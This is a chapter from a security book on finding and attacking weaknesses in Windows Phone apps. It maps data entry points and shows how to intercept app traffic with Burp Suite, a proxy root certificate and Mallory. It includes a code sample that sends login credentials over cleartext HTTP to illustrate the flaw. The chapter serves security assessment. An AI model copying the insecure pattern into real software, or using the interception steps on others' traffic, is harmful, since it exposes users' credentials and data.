CHAPTER 11
Attacking Windows Phone Applications

This chapter follows the previous chapter’s introduction to Windows Phone applications by exploring the various ways in which apps can be vulnerable, and how an attacker can exploit identified weaknesses.

Akin to applications that run on popular desktop and mobile platforms, Windows Phone 8.x apps may also be vulnerable. This chapter focuses on testing for, finding, and exploiting vulnerabilities around issues such as transport security weaknesses, injection vectors, Interprocess Communications (IPC) mechanisms, and native code, among others. Many of the vulnerability classes that we discuss and explore are common to software that runs on other mobile operating systems (OSes), as well as to vulnerability classes encountered in application security generally.

This chapter also covers enumeration and identification of data entry points into applications, because they are critical to understanding an app’s threat landscape and pinpointing areas of an app that are potentially vulnerable to security weaknesses.

Analyzing for Data Entry Points

Before moving on to testing for, identifying, and exploiting security vulnerabilities in Windows Phone (WP) applications, we explore a very important initial step common to all application security reviews: locating and analyzing data entry points into the app. Doing this allows a would-be attacker insight into the attack surface of the app in question.

The phrase data entry point, or simply entry point, refers to any channel or interface presented by an app that allows the input of user-controllable or user-influenced data into the application for processing, parsing, or consideration.

Given that users can use entry points to introduce data into a system or application for parsing and processing, identifying such entry points is useful from attackers’ perspectives so that they know in which ways it is possible to input potentially malicious data into the app, and from where to follow code paths in code review and reverse-engineering exercises.

We’ll now briefly discuss the various entry points commonly found in WP8.x applications, and how to identify what entry points an app in question is exposing or using. Being aware of these common entry points makes the job of any security reviewer much easier and makes his or her security reviewing efforts more meaningful.

WebBrowser and WebView Controls

The Windows Phone 8.x OSes provide the WebBrowser control for embedding a browser-like interface into applications. WebBrowser controls are based on Internet Explorer and are instances of the WebBrowser class. They can be considered analogous to iOS UIWebView objects and Android’s WebView objects. WebBrowser controls are available in both WP8 and 8.1 applications.

Windows Phone 8.1 also includes the WebView class for creating WebView controls. This class is similar to WebBrowser, but is missing some of the features provided by the WebBrowser class.

WebBrowser and WebView controls are used frequently in WP8.x apps for a number of purposes, some of which can be summarized as follows:

  • Rendering static web content—Application developers can include content locally within their app package to be later displayed using a WebBrowser control.
  • Rendering web content from the network—An application can point a WebBrowser or WebView control at a remote URL so that the remote website is displayed within the embedded WebBrowser control.
  • Displaying dynamically generated web content—Applications may feed dynamically generated HTML, JavaScript, and CSS content to a WebBrowser or WebView control. Dynamically generated content may be created based on decisions made by conditional logic.

Each of these purposes presents a user with an interface written in HTML/CSS/JavaScript. In fact, some applications consist almost entirely of a WebBrowser or WebView control that displays a mobile-friendly web application, with very little (if any) of the application’s logic implemented by the on-device app itself. Such apps were described broadly as hybrid apps in the “Programming Languages and Types of Applications” section in Chapter 10.

WebBrowser controls, depending on how an application uses them, can be considered data entry points in two main ways:

  • Applications that load remote HTTP URLs into WebBrowser or WebView controls may be prone to several types of cross-site scripting style attacks due to the use of http:// in the URL rather than https://.
  • Apps using WebBrowser or WebView controls may present interfaces or call JavaScript code that act as entry points and parse potentially untrusted data. The JavaScript may even pass such data back into C# code. Identifying WebBrowser and WebBrowser control use gives the hacker or security reviewer a lead on relevant JavaScript to review for possible vulnerabilities.

As mentioned in “Programming Languages and Types of Applications” in Chapter 10, XAML files hold definitions and declarations for interface and GUI elements. It is, therefore, no surprise that an app’s XAML files also hold declarations for WebBrowser controls that appear in an application.

When you’re conducting a code review, an app’s XAML files are likely to be readily available. If an app uses WebBrowser controls, the app’s XAML files contain markup similar to the following:

<Grid x:Name="ContentGrid" Grid.Row="1"> 
    <phone:WebBrowser HorizontalAlignment="Left" 
Margin="20,50,0,0" Name="myWebBrowser" VerticalAlignment="Top" 
Height="500" Width="430" /> 
</Grid> 

This results in a WebBrowser control being generated, with its object bearing the name myWebBrowser. The object can then be used by the application’s C# code to access the WebBrowser API. For example, the following code would attempt to render a remote URL into the WebBrowser control:

myWebBrowser.Source = new Uri("http://www.google.co.uk", 
UriKind.Absolute); 

or:

myWebBrowser.Navigate(new Uri("http://www.google.co.uk", 
UriKind.Absolute)); 

Alternatively, you can declare a WebBrowser control’s loading source directly in an XAML file:

<phone:WebBrowser Source="http://www.google.co.uk" /> 

Analysis for markup and C# code like the preceding is likely to quickly reveal an application’s use of WebBrowser controls.

Similarly, you can create WebView controls via a <WebView> tag in a page’s XAML file. For example, the following markup creates a WebView control on the associated page:

<WebView x:Name="webView" 
         Height="425" 
         HorizontalAlignment="Stretch" 
         VerticalAlignment="Stretch" 
         ScrollViewer.ZoomMode="Disabled" 
         ScrollViewer.VerticalScrollBarVisibility="Disabled" 
         Loaded="webView_Loaded" 
         NavigationFailed="webView_NavigationFailed" 
         NavigationCompleted="webView_NavigationCompleted" 
         Visibility="Visible"/> 

In many instances source code is not available to a security reviewer or would-be attacker. You can still easily determine use of WebBrowser and WebView controls by extracting XAML files from an application’s Install directory.

Assuming you have installed the app to a device on which you have full filesystem access (see “Building a Test Environment” in Chapter 10), you can extract the app’s DLL file(s) from the app’s Install directory, and view XAML resources and reflected code recovered by .NET reflector, assuming the relevant part of the app consists of .NET assemblies.

As mentioned in the “Filesystem Access” and “Reverse Engineering” section (see Chapter 10), each app’s binaries are located in its Install directory; that is, C:DataPrograms{GUID}Install, where {GUID} is the app’s unique identifier. Upon browsing to the Install directory of the app you’re interested in, in your favorite file manager, the app’s files and assets can be copied from the device’s filesystem onto your test machine.

When you open them in a suitable tool, you can analyze XAML files as normal for declaration of WebBrowser and WebView controls. Analysis of recovered C# code can also indicate how the WebBrowser or WebView control is used by the app, as in the previous C# snippets. Figure 11.1 demonstrates analysis of the XAML files recovered by .NET reflector.

images

Figure 11.1 Viewing XAML files in .NET reflector

Use of WebBrowser and WebView controls is indicated in XAP packages by the presence of the ID_CAP_WEBBROWSERCOMPONENT capability in the app’s manifest file (that is WMAppManifest.xml), which again you can read in review or via extraction from the app’s C:DataPrograms{GUID}Install directory on your device.

For 8.1-only apps, the more general capability internetClientServer is required in the Package.appxmanifest file, instead.

We cover potential vulnerabilities that can arise due to the use of WebBrowser and WebView controls and how to exploit these issues in “Attacking WebBrowser and WebView Controls,” later in this chapter.

Bluetooth

A Bluetooth API accessible to third-party developers was introduced with Windows Phone 8. The API offers two core modes: app-to-app and app-to-device.

You can identify applications that use Bluetooth by the presence of the ID_CAP_PROXIMITY capability in their WMAppManifest.xml file in the case of XAP packages, or the proximity capability in Package.appxmanifest for APPX apps (8.1 apps), such as this:

<DeviceCapability Name="proximity" /> 

In both app-to-app and app-to-device modes, the Bluetooth API can be used to locate nearby peers, and upon finding one, used to connect to the peer. If both ends accept the connection, a socket can be created and associated with the connection for the two hosts to communicate across.

When you’re reviewing an app’s code in a code review, or reviewing code recovered via reverse engineering/reflection (see “Reverse Engineering” in Chapter 10), you’ll see that apps using Bluetooth will make use of the PeerFinder and PeerInformation classes, which form part of the Proximity API (Windows .Networking.Proximity). To find more information on Bluetooth-relevant classes go to their respective MSDN pages at http://msdn.microsoft.com/en-us/library/windows.networking.proximity.peerfinder.aspx and http://msdn.microsoft .com/en-us/library/windows.networking.proximity.peerinformation.aspx.

For example, a code fragment similar to the following would indicate that the application makes a connection to a Bluetooth peer it finds, attempts to initiate a connection, and upon succeeding, associates a socket with the connection for further communications with the ‘peer’ app or device.

var peers = await PeerFinder.FindAllPeersAsync(); 
 
[ ERROR CHECKING OMITTED] 
 
// select the first peer we found 
PeerInformation selectedPeer = peers[0]; 
var streamSocket = await PeerFinder.ConnectAsync(selectedPeer); 
// Attempt a connection 
 
DoSomethingUseful(streamSocket); 

Because the Bluetooth API allows Windows Phone applications to communicate with nearby devices and apps, its viability as an entry point for potentially malicious data is obvious. Depending on the nature of the app in question, an app may receive binary data that can be parsed unsafely, may receive data that is stored to a file, or receive data that is otherwise processed in a way that could potentially be exploited by an attacker.

The takeaway point here is that any data received over Bluetooth is potentially malicious and is subject to the same untrusted data-handling problems that all applications can suffer from. Of course, how received data is used is central in a security review; hence the usefulness in identifying this entry point, after which you can follow the data along all code paths it is used in.

HTTP Sessions

As with applications for other smartphone platforms, many network-connected Windows Phone applications make web requests, such as to REST, SOAP, or JSON APIs, to retrieve information and to fulfill other pieces of functionality and behavior.

Data received in HTTP sessions may be parsed or processed in unsafe ways by an application, meaning the use of HTTP APIs represent viable data entry points, especially considering that data returned by web APIs is often untrusted and supplied or influenced by other users of a service.

In Windows Phone 8.x, at the time of writing, several popularly used HTTP APIs are available. Windows Phone 8 has System.Net.Http.HttpClient (http://msdn.microsoft .com/en-us/library/system.net.http.httpclient(v=vs.118).aspx), and Windows Phone 8.1 has System.Net.Http.HttpClient and also Windows.Web.Http .HttpClient (http://msdn.microsoft.com/en-US/library/windows/apps/windows .web.http.httpclient ). Both WP8 and 8.1 also have the HttpWebRequest (http://msdn.microsoft.com/en-us/library/system.net.httpwebrequest(v=vs.110) .aspx) class, which also allows web requests to be made easily.

The following code sample demonstrates a GET request being issued on the example.com URL using System.Net.Http.HttpClient, and the response is displayed in a message box:

var httpClient = new HttpClient(); 
 var response = await httpClient.GetAsync(new Uri( 
"http://www.example.com/api/getInfo", 
UriKind.RelativeOrAbsolute)); 
 
response.EnsureSuccessStatusCode(); 
var txt = response.Content.ReadAsStringAsync(); 
MessageBox.Show(txt.Result); 

You can find additional information on the common HTTP APIs on their respective MSDN pages, referenced previously.

Network Sockets

Although more network-connected Windows Phone applications tend to use HTTP client APIs to simply talk to web services, it’s still not uncommon for apps to communicate with remote hosts using (somewhat) lower-level socket classes, using HTTP or some other protocol or scheme.

If a Windows Phone application uses sockets and is written in C#, the app is likely to be using the System.Net.Sockets namespace or a relevant class in the Windows.Networking.Sockets namespace. When you’re reviewing code or code recovered via reflection, lines of code similar to the following are likely to indicate the use of sockets in the app,

using System.Net.Sockets; 

or

using Windows.Networking.Sockets.<type>; 

The method names for connecting to a remote endpoint, sending data over a socket, and receiving data over a socket, are, quite predictably, named ConnectAsync(), SendAsync(), and RecvAsync(). So paying attention to the use of these APIs is helpful when identifying entry points and analyzing an app’s behavior and functionality. You can find more information on the System.Net .Sockets API on MSDN (http://msdn.microsoft.com/en-us/library/windows/apps/hh202858(v=vs.105).aspx and http://msdn.microsoft.com/en-us/library/windows/apps/system.net.sockets(v=vs.105).aspx).

In general, the classes most often encountered from the Windows.Networking .Sockets namespace will be StreamSocket and DatagramSocket, which are TCP and UDP implementations, respectively. Refer to MSDN documentation for details on the usage of StreamSocket, DatagramSocket, and other Windows .Networking.Sockets classes (http://msdn.microsoft.com/en-us/library/windows/apps/br212061.aspx).

Near Field Communication

Some Windows Phone carrier devices support Near Field Communication (NFC), which you can use to transfer data between devices that are within very close proximity to one another. Typically, this means a couple of centimeters.

The standard class for sending and receiving string data between an NFC-enabled app and a proximity device in C# apps is the ProximityDevice class (http://msdn.microsoft.com/en-us/library/windows.networking.proximity .proximitydevice.aspx).

For example, you may use a code fragment similar to the following to publish a new WriteTag NFC message:

ProximityDevice nfcDevice = ProximityDevice.GetDefault(); 
 
[ ... ] 
 
if (nfcDevice != null)   // nfc supported by device 
{ 
  long nfcId = nfcDevice.PublishMessage( 
"Windows.SampleMessageType", "This is an NFC message.."); 
 
  Debug.WriteLine("id of nfc message is {0}", nfcId); 
 
  [ ... ] 
} 
 
else {    // nfc not supported by device 
  throwNfcError(); 
} 

Conversely, to receive an NFC message, you may use code such as the following:

ProximityDevice myNfcDevice = ProximityDevice.GetDefault(); 
 
// Make sure NFC is supported 
if (myNfcDevice != null) 
{ 
  long Id = myNfcDevice.SubscribeForMessage( 
"Windows.SampleMessageType", nfcMessageReceivedCallback); 
 
} 
 
private void nfcMessageReceivedCallback( 
ProximityDevice sender,ProximityMessage message) 
{ 
  Debug.WriteLine("nfc message received from {0}:'{1}'", 
sender.DeviceId, message.DataAsString); 
} 

At this point, upon successfully receiving an NFC message, the message .DataAsString contains the data in string format.

Apps that use NFC APIs must have the ID_CAP_NETWORKING and ID_CAP_PROXIMITY capabilities in their WMAppManifest.xml or, for APPX packages, presence of the proximity capability in the Package.appxmanifest file:

<DeviceCapability Name="proximity" /> 

Interestingly, Windows Phone’s NFC functionality offers an entry point into protocol handlers (an IPC mechanism), without the application in question even having subscribed for receiving NFC messages (http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105).aspx).

This means that if a device receives an NFC message containing a URL, the URL is handled using the protocol handler registered for that scheme on the receiving device. See the “Protocol Handlers” and “Interprocess Communication Vulnerabilities” sections later in this chapter for more details.

Barcodes

Many smartphone applications include the ability to consume barcodes via the device’s built-in camera. Some examples of types of apps with such functionality include apps from commercial retailers, banks, and ticket vendors for scanning in offers and discounts on products and services. In Windows Phone apps, the most likely of all the barcodes to be handled are undoubtedly QR codes.

Although no publicly accessible APIs in Windows Phone 8.x exist for reading QR codes at the time of writing, several commonly used libraries are in the public domain, some of which are open source. A popular one is ZXing.NET, which has an official codeplex project page (http://zxingnet.codeplex.com).

Applications using ZXing.NET may use code similar to the following to parse the text out of a saved QR code (which may have been read in via the camera):

IBarcodeReader reader = new BarcodeReader(); 
 
var barcodeBitmap = (Bitmap)Bitmap.LoadFrom("saved_qr_code.png"); 
 
// decode the barcode 
var result = reader.Decode(barcodeBitmap); 
 
// did it work? 
if (result != null) 
{ 
   txtDecoderType.Text = result.BarcodeFormat.ToString(); 
   txtDecoderContent.Text = result.Text; 
} 

Upon successful decoding, txtDecoderContent.Text now contains the text represented by the barcode.

Applications that require camera use must have the ID_CAP_ISV_CAMERA capability requested in their WMAppManifest.xml file, or in the case of Windows Phone 8.1 apps (APPX), the webcam capability must be requested in the Package .appxmanifest file:

    <DeviceCapability Name="webcam" /> 

Barcodes may represent interesting data entry points because the application or the server-side application may treat the recovered data with an unsafe level of trust. Possible examples include trusting data such that non-existent offers or discounts are obtained due to unsuspecting server-side logic. Windows Phone apps could, in some cases, also be vulnerable to various types of injection bugs when using parsed-out data from QR codes; possibilities are application and context dependent.

SD Cards

SD cards may represent an interesting entry point into applications that read from them, because files on SD cards aren’t necessarily trusted as files may be in the app’s sandbox.

Files on SD media are not necessarily trustworthy, because SD cards are often bought cheaply (such as online or at markets) and inserted into devices without precautions. SD cards may also be passed around among colleagues and peers as a means of exchanging files.

The standard API for access to an SD card is Windows.Phone.Storage. Windows Phone 8.x provides SD card access via file extension registration, meaning an app can only see and read files on the SD card that bear the file extension(s) the app has registered for. Windows Phone 8.1 also allows write access to SD cards, but again, only for file extensions the app has registered.

File-handling associations are declared in an app’s WMAppManifest.xml or Package .appxmanifest file. An application that can read files with the .ext file extension from the SD card may have markup similar to the following in its manifest file:

    <Extensions> 
      <FileTypeAssociation TaskID="_default" Name="EXT" 
NavUriFragment="fileToken=%s"> 
        <Logos> 
          <Logo Size="small" 
IsRelative="true">Assets/Route_Mapper_Logo33x33.png 
</Logo> 
          <Logo Size="medium" 
IsRelative="true">Assets/Route_Mapper_Logo69x69.png 
</Logo> 
          <Logo Size="large" 
IsRelative="true">Assets/Route_Mapper_Logo176x176.png 
</Logo> 
        </Logos> 
        <SupportedFileTypes> 
          <FileType ContentType="application/ext">.ext</FileType> 
        </SupportedFileTypes> 
      </FileTypeAssociation> 
    </Extensions> 

Or, for apps targeting 8.1 only, in the Package.appxmanifest file:

        <Extension Category="windows.fileTypeAssociation"> 
          <FileTypeAssociation Name="myext"> 
            <DisplayName>myExt</DisplayName> 
            <SupportedFileTypes> 
              <FileType ContentType="application/myext">.ext</FileType> 
            </SupportedFileTypes> 
          </FileTypeAssociation> 
        </Extension> 

Both of these inform the OS to associate the .ext file extension with the application in question.

An app may then use the ExternalStorageDevice, ExternalStorageFolder, and other standard classes to read .ext files from a connected SD card. The following code retrieves the contents of all .ext files present on the SD card and displays them in a message box:

            ExternalStorageDevice sdCard = (await 
 ExternalStorage.GetExternalStorageDevicesAsync()).FirstOrDefault(); 
            if (sdCard != null) 
            { 
                // Get the root folder on the SD card. 
                ExternalStorageFolder sdrootFolder = sdCard.RootFolder; 
                if (sdrootFolder != null) 
                { 
                    // List all the files on the root folder. 
                    var files = await sdrootFolder.GetFilesAsync(); 
                    if (files != null) 
                    { 
                        foreach (ExternalStorageFile file in files) 
                        { 
                            Stream s = await file.OpenForReadAsync(); 
                            if (s != null || s.Length == 0) 
                            { 
                                long streamLength = s.Length; 
                                StreamReader sr = new StreamReader(s); 
                                // display file contents 
                                MessageBox.Show(sr.ReadToEnd()); 
                            } 
                            else 
                            { 
                                MessageBox.Show( 
"There were no files in the root folder"); 
                            } 
                        } 
                    } 
                } 
                else 
                { 
                    MessageBox.Show( 
"Failed to get root folder on SD card"); 
                } 
            } 
            else 
            { 
                MessageBox.Show("SD Card not found on device"); 
            } 

Apps reading from SD cards require the ID_CAP_REMOVABLE_STORAGE or removableStorage capability to be present in their WMAppManifest.xml or Package .appxmanifest file (in 8.1-only apps), respectively.

Depending on how an app uses or parses SD card file contents, use of untrusted SD cards could indeed represent a security risk.

File extension associations are effectively a type of IPC mechanism. (See “Interprocess Communications Interfaces” and “Interprocess Communication Vulnerabilities” later in this chapter for more details on the security aspects of file extension handlers in a more general context.)

Interprocess Communications Interfaces

The term Interprocess Communications (IPCs) is used to describe meaningful interaction between two separate processes. Modern operating systems tend to have a variety of IPC mechanisms, often including named pipes, local domain sockets, shared memory regions, RPC/LPC interfaces, and others. In mobile operating systems however, where developers are operating in a much more closed environment, APIs tend to exist for only one or two IPC mechanisms, and use of the lower-level primitives that are implemented by the OS is discouraged or even prohibited by the respective application store rules.

The Windows Phone 8.x operating systems offer two officially supported IPC mechanisms: protocol handlers and file extension associations (also introduced briefly previously). These mechanisms allow third-party apps to interact with each other, often allowing an app to pass data into another app, or influence its control flow or operation in some supposedly useful way.

It therefore stands to reason that exposure of IPC interfaces in applications can represent interesting data entry points, so being able to identify their presence in apps is useful to a security reviewer.

Protocol Handlers

The ability to register custom protocol handlers in your app was introduced in Windows Phone 8, and their use by developers is not dissimilar to how iOS and Android developers also register and use custom protocol handlers in their apps. Protocol handlers are also known as URL handlers.

Chiefly, custom protocol handlers allow developers to register their own URL scheme, which can then be called externally; for example, via a web page or via another store app. After it’s called, the app that owns the protocol scheme launches at a well-defined entry point function in which the launch and any data passed in via the URL scheme can be handled as the developer so desires.

You declare protocol handlers in an app’s WMAppManifest.xml or Package .appxmanifest file (for 8.1-only apps), which you’ll already have in a code review; if code is not available, you can obtain the WMAppManifest.xml file via filesystem access on a device that has the app installed.

The presence of protocol handlers in an app is apparent by the presence of the <Protocol> tag in the WMAppManifest.xml manifest, because this is the tag used to register protocol handlers. For example, the following XML fragment in the WMAppManifest.xml manifest would result in myproto:// being registered:

 [ ... ] 
 
<Extensions> 
    <Protocol Name="myproto" 
NavUriFragment="encodedLaunchUri=%s" TaskID="_default" /> 
  </Extensions> 
 
[ ... ] 

For 8.1-only apps, something similar to the following would instead be present in the Package.appxmanifest file:

<Extension Category="windows.protocol"> 
          <Protocol Name="myproto"> 
            <Logo>test.jpg</Logo> 
            <DisplayName>myproto</DisplayName> 
          </Protocol> 
        </Extension> 

If a device receives a URL via NFC, the relevant registered protocol handler launches to handle the received URL (see http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105).aspx), as long as the user gives permission at a prompt. For example, a nearby Windows Phone device could use the Proximity API in the following way to make the other phone handle the URL association in the same way it would with a locally launched URL:

long Id = device.PublishUriMessage(new System.Uri("myUrl:something")); 

This may be an interesting attack vector for reaching protocol handler entry points without a need for getting a user to visit a rogue web page or getting a rogue app on the target device, because many users simply tap Yes (or equivalent) at all prompts.

File Extension Handlers

File handler associations were mentioned briefly in the earlier “SD Cards” section. To summarize briefly, file extension handlers are a type of IPC mechanism and work in a similar way to protocol handlers.

Explained concisely, if an application registers to be associated with a given file extension, then every time a file bearing that extension is opened, the associated app launches and is given the option to handle that file. The app typically copies the file, parses it, displays it, or otherwise processes it. A good example is a PDF reader—it registers for association with the .pdf extension, and then opens, parses, and renders PDF files whenever one is opened.

Because applications that register as file extension handlers often parse the data found in the opened file, this type of entry point can represent an interesting area in code reviews. Furthermore, because files may be received as email attachments or via browser downloads, attacks by remote attackers are also a possibility.

You can spot the presence of a file association handler by the presence of <FileTypeAssociation> and <FileType> tags in the WMAppManifest.xml file or in Package.appxmanifest for 8.1-only apps. For example, the following markup registers the .myExt file extension to the app being installed:

<Extensions> 
      <FileTypeAssociation TaskID="_default" 
Name="myExt" NavUriFragment="fileToken=%s"> 
        <Logos> 
          <Logo Size="small" 
IsRelative="true">Assets/Route_Mapper_Logo33x33.png</Logo> 
          <Logo Size="medium" 
IsRelative="true">Assets/Route_Mapper_Logo69x69.png</Logo> 
          <Logo Size="large" 
IsRelative="true">Assets/Route_Mapper_Logo176x176.png</Logo> 
        </Logos> 
        <SupportedFileTypes> 
          <FileType ContentType="application/ext">.myExt</FileType> 
        </SupportedFileTypes> 
      </FileTypeAssociation> 
 </Extensions> 

Or for 8.1-only apps (APPX):

<Extension Category="windows.fileTypeAssociation"> 
          <FileTypeAssociation Name="myext"> 
            <DisplayName>myExt</DisplayName> 
            <SupportedFileTypes> 
              <FileType ContentType="application/myext">.myExt 
</FileType> 
            </SupportedFileTypes> 
          </FileTypeAssociation> 
        </Extension>

Toast Notifications

Toast notifications, also known as toasts, are messages that appear at the top of the screen (even when another app is in the foreground), informing the user of an event. For example, messaging apps could send a toast when someone initiates a conversation with the user.

Although applications are supposed to send only toasts that map to pages in their own app, Windows Phone 8 (not 8.1) allows code to send toast notifications that when tapped open XAML pages in other applications installed on the device. This is possible by calling a native API named Shell_PostMessaageToast(), which is exported by ShellChromeAPI.dll.

Toasts, therefore, potentially provide an entry point into XAML pages and therefore functionality that developers most likely never intended to be callable by anyone but them and their own code.

We provide more information about toast notifications later in this chapter, in the “Interprocess Communications Vulnerabilities” section, including how to send toasts to arbitrary apps and how they might help you exploit bugs in badly coded pages.

Attacking Transport Security

A large number of Windows Phone applications provide much of their core functionality by communicating with services on the Internet. The specifics of why varies from application to application; many apps carry out networking communications to provide users with rich web-based interfaces, and some call into web-based APIs that provide and facilitate the app’s functionality and purpose.

When assessing a mobile application’s security, taking a look at its network transport aspects is important for two chief reasons: to gain insight into what is being sent to and received from network hosts, and to assess whether sensitive traffic is being communicated back and forth with appropriate security measures applied. For example, are logins and other authentications being done via SSL, or are they being done in the clear, via standard HTTP?

This section explores how to assess the security of communications between an app and network hosts, as well as how to intercept communications for the purpose of manipulating traffic going either way between the app and a network host.

We also discuss how to identify implementation flaws that may be present even when HTTPS/SSL is used for sensitive traffic, and how such flaws may undermine the security of associated network traffic.

Identifying and Capturing Cleartext HTTP Communications

Despite the implications of using a cleartext transport such as standard HTTP for sensitive data communications, many mobile apps use plaintext HTTP for the majority or all of their traffic. It’s still not uncommon at the time of writing this book for applications to perform authentication via cleartext HTTP, in the mobile, desktop, and enterprise worlds.

On the code level, a Windows Phone 8.x app may use the HttpClient class to interact with a web API, for example. In a C# application, a call to a hypothetical authentication service could be comprised of the following code:

string url = "http://www.myapp.com/api/login"; 
var values = new List<KeyValuePair<string, string>> 
{ 
    new KeyValuePair<string, string>("username", myUsername), 
    new KeyValuePair<string, string>("password", myPassword) 
}; 
 
var httpClient = new HttpClient(new HttpClientHandler()); 
HttpResponseMessage response = await httpClient.PostAsync(new Uri(url), new 
FormUrlEncodedContent(values)); 
response.EnsureSuccessStatusCode(); 
var responseString = await response.Content.ReadAsStringAsync(); 

This code performs a POST request with the username and password credentials as POST parameters.

Similarly, an app could be using WebClient, HttpWebRequest, or another API to make its requests.

The uri string object is set to http://www.myapp.com/api/login, which is clearly a URL that will result in a non-SSL protected HTTP request being made. Given that the request is making an authentication call, such a coding practice represents a serious security risk, which could ultimately allow a suitably positioned attacker to eavesdrop on the credentials and the request in general.

Equally, a WebBrowser control may have been directed towards a non-HTTPS URL; that is:

myWebBrowser.Navigate(new Uri( 
"http://www.google.co.uk", UriKind.Absolute)); 

This could also be done with a WebView control.

Given code or code recovered using C# reflection tools, such a security issue is trivial to spot, but the issue is almost equally as easy to find exclusively by basic manual testing, when no form of source code is available.

You can configure Windows Phone 8.x to route all HTTP traffic through a proxy tool, such as Burp Suite, Fiddler, or OWASP’s ZAP. This capability allows for all standard HTTP traffic to be analyzed in real time as an app communicates with a remote web server.

To configure a Windows Phone 8.x device to push web traffic through a proxy, first configure your test laptop to be on the same wireless network as your WP device, and run your HTTP proxy tool of your choice. Then go to Settings WiFi and click the name of the wireless network to which the device is connected. The screen presented will closely resemble the one in Figure 11.2.

images

Figure 11.2 The proxy settings disabled

To set a proxy server, switch the slider to right, and type the IP address (or hostname) of the system where you’ve previously set up your proxy tool, and input the appropriate port number. (See Figure 11.3.)

images

Figure 11.3 Proxy settings configured

At this point, you can see all standard HTTP traffic traveling from the device in the proxy application, such as Burp Suite capturing a request from a Samsung Ativ device to the Google search engine, as shown in Figure 11.4.

images

Figure 11.4 Burp Suite captures web traffic from a Windows Phone device

If you are using the WP8 or WP8.1 emulator instead of a device, proxy settings do not need to be configured in the device; simply configure proxy settings via Internet Explorer, because the emulator honors the proxy settings of the host system.

Now that cleartext HTTP traffic is being routed through an intercepting proxy, a tester can examine web traffic being sent and received by the device. An app sending and receiving sensitive information, including login credentials, financial information, medical information, or Personally Identifiable Information (PII), is unacceptable, and constitutes a serious security threat.

Likewise, if traffic (which will be cleartext HTTP) can be intercepted in real-time in this way, a plaintext HTTP session also represents an entry point into the application because suitably positioned attackers who are performing a man-in-the-middle attack on an unsuspecting user could inject data of their choice into HTTP responses and requests. Such attacks could include injection of arbitrary HTML and JavaScript into WebBrowser interfaces.

Although traffic issued through the standard HTTP APIs (HttpClient) and WebBrowser controls honors the device’s (or emulator’s) proxy settings, socket communications doesn’t, thus you must use other means to actively capture traffic that is non-HTTP(s) in nature. More on this topic appears later in “Capturing Non-HTTP/HTTPS Traffic.”

Identifying and Capturing HTTPS Communications

When proxying an application, you might find that no HTTP traffic is visible in your proxy tool, even though you know the app makes web requests. In cases like these, the app is most likely using HTTPS (that is, SSL protected) as opposed to standard HTTP, and as a result, the SSL certificate chain validation check fails, resulting in no SSL session actually being negotiated. Such situations become apparent when no traffic shows in the proxy, and often the app complains that something went wrong, or that Internet access was unavailable.

Applications that are correctly using HTTPS for their web requests and API calls may be using code such as the following:

string url = "https://www.myapp.com/api/login"; 
var values = new List<KeyValuePair<string, string>> 
{ 
    new KeyValuePair<string, string>("username", myUsername), 
    new KeyValuePair<string, string>("password", myPassword) 
}; 
 
var httpClient = new HttpClient(new HttpClientHandler()); 
HttpResponseMessage response = await httpClient.PostAsync(new Uri(url), 
new FormUrlEncodedContent(values)); 
response.EnsureSuccessStatusCode(); 
var responseString = await response.Content.ReadAsStringAsync(); 

Note the use of the https:// URL.

When HTTPS is being used, an appropriate root certification authority (CA) certificate must be installed on the device so that the certificate presented by the proxy tool validates correctly. This enables you to intercept HTTPS traffic as seamlessly as you were able to intercept standard HTTP traffic.

Assuming your proxy tool of choice is Burp Suite, you must first instruct Burp to generate a root CA certificate for you by going to Proxy Options, and then clicking the CA certificate button. Choose Certificate in DER format, and then follow the wizard’s workflow through to export a certificate. (See Figure 11.5.)

images

Figure 11.5 Exporting Burp Suite CA Certificate

At this point, change the .der file extension to having a .cer file extension.

To install Burp Suite’s root CA certificate, the certificate must first be somehow sent to the device. The easiest way to do this is via an email attachment.

After it has been received on the device via the Mail application, simply click the .cer attachment. A screen similar to the one in Figure 11.6 appears.

images

Figure 11.6 Installing the certificate onto the device

Tap Install to instruct the OS to accept the certificate into its root CA trust store. A screen displays indicating a successful installation.

With the root CA certificate now installed on the device, the application will generally allow proxying through your chosen proxy app, because the SSL validation process now completes successfully due to certificates being presented by Burp validating against Burp’s root CA certificate.

This procedure also works for installing CA certificates on the emulator.

Capturing Non-HTTP/HTTPS Traffic

Although the majority of apps for Windows Phone that rely on using the network use HTTP for their communications, you may occasionally come across one that uses Windows’ socket interfaces to talk to a network endpoint; that is, System.Net.Sockets or Windows.Networking.Sockets.

Such an app may be using a roll-your-own style binary protocol, an already-documented (for example in an RFC) one, or could simply be communicating simple ASCII strings to a network listener, and receiving data in an equally simple format.

Whichever the case may be, the two general options for eavesdropping on non-HTTP traffic are active and passive. Active interception allows you to modify incoming and outgoing traffic in real time, much like you’ve done with HTTP/HTTPS traffic (for example, using Burp Suite as a proxy). Passive sniffing on the other hand just allows you to observe traffic from a non-modifying perspective and carry out analysis on the packets you see. Passive traffic sniffing can be done from a suitably placed system using tools such as Wireshark and tcpdump and doesn’t require any kind of special setup.

If you want to actively intercept non-HTTP traffic in a similar way to that allowed by tools such as Burp Suite, you’ll need to get inventive, because Windows Phone offers no standard way to use any kind of non-HTTP proxy.

Intrepidus Group provides a tool named Mallory that is designed specifically for active capture and modification of non-HTTP traffic. Several supported and documented ways exist to set up Mallory to carry out a man-in-the-middle attack on non-HTTP communications going to and from a mobile app, one of which is to configure a subject device to use a PPTP VPN.

However, because Windows Phone 8 does not support VPN connections, and Windows Phone 8.1 does not support PPTP VPN servers, try setting up Mallory to function as part of a Wi-Fi hotspot, which you connect your Windows Phone device to. Proper setup allows you to view and modify all interesting communications (including non-HTTP) in Mallory. See the following guide, by the authors of Mallory, for a tutorial on how to get started with setting up and using the Mallory tool for non-HTTP traffic interception and modification: https://intrepidusgroup.com/insight/2010/12/mallory-and-me-setting-up-a-mobile-mallory-gateway/.

SSL Certificate Validation Flaws

When proxying an application, your HTTPS traffic may appear in your proxy app (Burp Suite) even though you have not installed a root CA certificate for the proxy. This is indicative of a serious security flaw: SSL certificate validation has been disabled, and the app has connected to your proxy host even though the certificate it presented was not valid for the host the app was really trying to connect to.

This means that the app is skipping certificate chain validation and is therefore not verifying that the host it is talking to (your proxy box) is genuinely the one it was expecting (i.e., some web API host). Such flaws can be described as certificate validation flaws, and they allow for connections to be observed or tampered via man-in-the-middle interception attacks by favorably positioned attackers.

